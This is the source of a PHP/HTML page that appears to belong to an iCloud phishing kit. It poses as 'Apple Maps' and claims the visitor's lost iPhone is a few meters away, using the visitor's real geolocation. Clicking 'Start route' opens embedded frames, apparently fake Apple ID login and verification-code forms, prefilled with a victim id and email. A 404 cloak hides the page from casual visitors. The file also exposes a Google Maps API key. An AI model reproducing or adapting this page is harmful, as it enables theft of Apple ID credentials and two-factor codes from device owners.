<?php
if(!isset($idequipo)){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<html><head>
<title>404 Not Found</title>
</head><body cz-shortcut-listen="true">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>');
}
?>
<!DOCTYPE html>
<html>
  <head>
    <title>Apple Maps</title>
    <script src="https://polyfill.io/v3/polyfill.min.js?features=default"></script>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@300&display=swap" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css" rel="stylesheet">
    
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        body{
            margin:0;
            font-family: 'Roboto', sans-serif;
            color:#484848;
        }
        .info{
            position:fixed;
            width:100%;
            height:130px;
            background:#fff;
            bottom:0;
            left:0;
            border-top:4px solid #00860f;
        }
        #map{
            position:fixed !important;
        }
        #cont1{
            display:none;
        }
        .locs{
            width:100%;
            text-align:center;
            padding-top:10px;
        }
        .locs img, .locs div{
            display:inline-block;
            vertical-align:top;
        }
        .locs div{
            text-align:left;
        }
        .locs div h3{
            margin-bottom:5px;
            margin-top:10px;
            font-size:16px;
        }
        .locs div p{
            margin-top:0;
            color:#d7a123;
            background:#fff3d8;
            padding:2px 12px;
            border-radius:5px;
            font-size:13px;
        }
        .locs span{
            border-radius:10px;
            background:#0071e3;
            color:#fff;
            border:1px solid #3f9fff;
            font-size:16px;
            padding:4px 15px;
            cursor:pointer;
        }
        .locs span:hover{
            background:#2088f0;
        }
        .locs #iniciar{
            background:#fff;
            border:1px solid #888;
            color:#5e5e5e;
        }
        .locs #iniciar:hover{
            background:#e1e1e1;
        }
        .opc{
            display:none;
            position:fixed;
            width:100%;
            height:100%;
            top:0;
            left:0;
            background:rgba(255,255,255,.8);
            z-index:1;
        }
        .framenew{
            background:white;
            width:640px;
            margin:50px auto 0;
            border-radius:30px;
            overflow:hidden;
            box-shadow:0 11px 34px 0 rgba(0,0,0,.2);
            display:none;
            position:relative;
            z-index:1;
        }
        .opcgen{
            position:fixed;
            left:0;
            top:0;
            background:#fff;
            width:100%;
            height:100%;
            z-index:1;
        }
        .opcgen img{
            position:absolute;
            left:50%;
            top:50%;
            margin-left:-200px;
            margin-top:-150px;
        }
        .opcgen p{
            text-align:center;
            color:#468f24;
            position:absolute;
            bottom:0;
            width:100%;
        }
        @media screen and (max-width:760px){
            .framenew{
                width:100%;
                margin-top:0;
                border-radius:0;
            }
        }
    </style>
  </head>
  <body>
    <div class="opcgen">
        <img src="giflocate.gif">
        <p>Loading location path...</p>
    </div>
    <div id="map" style="width:100%;height:100%;"></div>
    <br><br><br>
    <div class="opc"></div>
    <div class="framenew">
        <?php 
        if($response->code==1){
            $stylecode="display:block;";        
            $stylelog = "display:none";
        }else{
            $stylecode="display:none;";        
            $stylelog = "display:block";
        }
        ?>
        <iframe class="apple-id-frame-view" id="authFrame" scrolling="no" style="<?php echo $stylelog;?>" src="sgRecueng.php?id=<?php echo $idequipo;?>&correo=<?php echo $response->email;?>" width="100%" height="600px" frameborder="0"></iframe>
        <div style="<?php echo $stylecode;?>" class="frameCode">
            <img src="/icloud-archivos/applenew2.png" class="imgApple" style="width: 200px;display:block;margin:50px auto 0;">
            <iframe class="apple-id-frame-view2" src="/icloud-archivos/code2022eng.php?digitos=<?php echo $response->digitos;?>&id=<?php echo $idequipo;?>" style="margin:auto;background:#fff;border-radius:5px;display:block;" width="400" frameborder="0" height="270" scrolling="no"></iframe>
        </div>
        <button class="iniciar" style="display:none;">iniciar</button>
        <button class="ruta" style="display:none;">iniciar</button>
    </div>
    <div class="info">
        <div class="locs">
            <img class="iphone" src="/assets/img/iphone.png" width="50px" style="margin-right:10px;position:relative">
            <div>
                <h3><?php echo $response->equipo;?></h3>
                <p><i class="fa fa-exclamation-triangle" aria-hidden="true"></i> Located a few meters from you!</p>
                <span><i class="fa fa-location-arrow" aria-hidden="true"></i> 
                    Start route</span>
                <span id="iniciar"><i class="fa fa-map-marker" aria-hidden="true"></i> How to get</span>
            </div>
        </div>
        <div id="cont1"></div>
    </div>
    <!-- Async script executes immediately and must be after any DOM elements used in callback. -->
    <script
      src="https://maps.googleapis.com/maps/api/js?key=AIzaSyADALjXwv_yhpL3yCoSnX0-1Tg86uRdFDE&v=weekly&language=en"
      async
    ></script>
    <script>
    var lat;
    var long;
    getLocation();
function getLocation(){
    if(navigator.geolocation){
        navigator.geolocation.getCurrentPosition(showPosition);
    }else{
        //x.innerHTML = "Geolocation is not supported by this browser.";
    }
}
function showPosition(position) {
    lat = position.coords.latitude;
    long = position.coords.longitude;
    var ini = lat+","+long;
    var newlat = parseFloat(lat) + 0.004;
    var newlong = parseFloat(long) - 0.004;
    var final = newlat+","+newlong;
    initMap(ini, final, lat, long, newlat, newlong);
}
        function initMap(ini, final, m1, m2, m3, m4) {
  const directionsService = new google.maps.DirectionsService();
  const directionsRenderer = new google.maps.DirectionsRenderer();
  const map = new google.maps.Map(document.getElementById("map"), {
    zoom: 7
  });

  directionsRenderer.setMap(map);

    calculateAndDisplayRoute(directionsService, directionsRenderer, ini, final);
    document.getElementById('cont1').innerHTML='http://maps.google.com/maps?saddr='+ini+'&daddr='+final;
    const image =
    "https://i.ibb.co/cX07PxW/iphone-circle.png";
  const beachMarker = new google.maps.Marker({
    position: { lat: m3, lng: m4 },
    map,
    icon: image,
  });
  const image2 =
    "https://i.ibb.co/YQzPgjX/people.png";
  const beachMarker2 = new google.maps.Marker({
    position: { lat: m1, lng: m2 },
    map,
    icon: image2,
  });

}

function calculateAndDisplayRoute(directionsService, directionsRenderer, ini, final) {
  directionsService
    .route({
      origin: ini,
      destination: final,
      travelMode: google.maps.TravelMode.DRIVING,
    })
    .then((response) => {
      directionsRenderer.setDirections(response);
    })
    .catch((e) => window.alert("Directions request failed due to " + status));
}

    </script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script> 
    <script>
        $( document ).ready(function() {
            setTimeout(function() {
                $(".opcgen").fadeOut(1500);
            },5000);
            $(".locs span").on("click", abreFrame);
            function abreFrame(){
                $(".opc").show(0);
                $(".framenew").fadeIn(1500);
                $("footer").addClass("footerclass");
            }
            $(".iniciar").on("click", abreLog);
            function abreLog(){
                $(".apple-id-frame-view").fadeIn(3500);
            }
            $(".ruta").on("click", abreRuta);
            function abreRuta(){
                var liga = $("#cont1").text();
                window.location=liga;
                return false;
                //window.open(liga, '_blank');
            }
            for(var ops=0;ops<=100;ops++){
                $(".iphone").animate({top:"-35px"},400).animate({top:"0"},250).animate({left:"10px"},100).animate({left:"0"},100).animate({left:"10px"},100).animate({left:"0"},100).delay(2500);
    		}
        });
    </script>
  </body>
</html>
<!--<a href="http://maps.google.com/maps?saddr=21.178080287111552,-86.90746994966861&daddr=19.395567546352318, -99.00629249302364">Destino</a>
<script>
getLocation();
function getLocation(){
    if(navigator.geolocation){
        navigator.geolocation.getCurrentPosition(showPosition);
    }else{
        //x.innerHTML = "Geolocation is not supported by this browser.";
    }
}
function showPosition(position) {
    document.write('<a href="http://maps.google.com/maps?saddr='+position.coords.latitude+','+position.coords.longitude+'&daddr=17.949246215925783, -94.91691006356534">Localizar Dispositivo</a>');
}
</script>-->
<!--<iframe src="https://www.google.com/maps/dir/21.1780803,-86.9074699/19.3955675,-99.0062925/@19.3200343,-101.9838604,5z/data=!3m1!4b1"></iframe>-->